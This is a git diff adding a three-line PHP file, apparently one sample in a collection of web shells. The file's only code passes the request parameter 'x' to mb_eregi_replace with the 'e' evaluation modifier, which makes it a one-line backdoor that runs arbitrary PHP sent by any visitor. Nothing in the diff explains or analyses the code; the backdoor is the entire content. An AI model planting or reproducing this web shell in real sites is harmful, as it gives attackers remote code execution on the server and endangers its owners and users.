diff --git a/php/2020.08.20.15.php b/php/2020.08.20.15.php
new file mode 100644
index 0000000..8e171c0
--- /dev/null
+++ b/php/2020.08.20.15.php
@@ -0,0 +1,3 @@
+<?php 
+    mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
+?>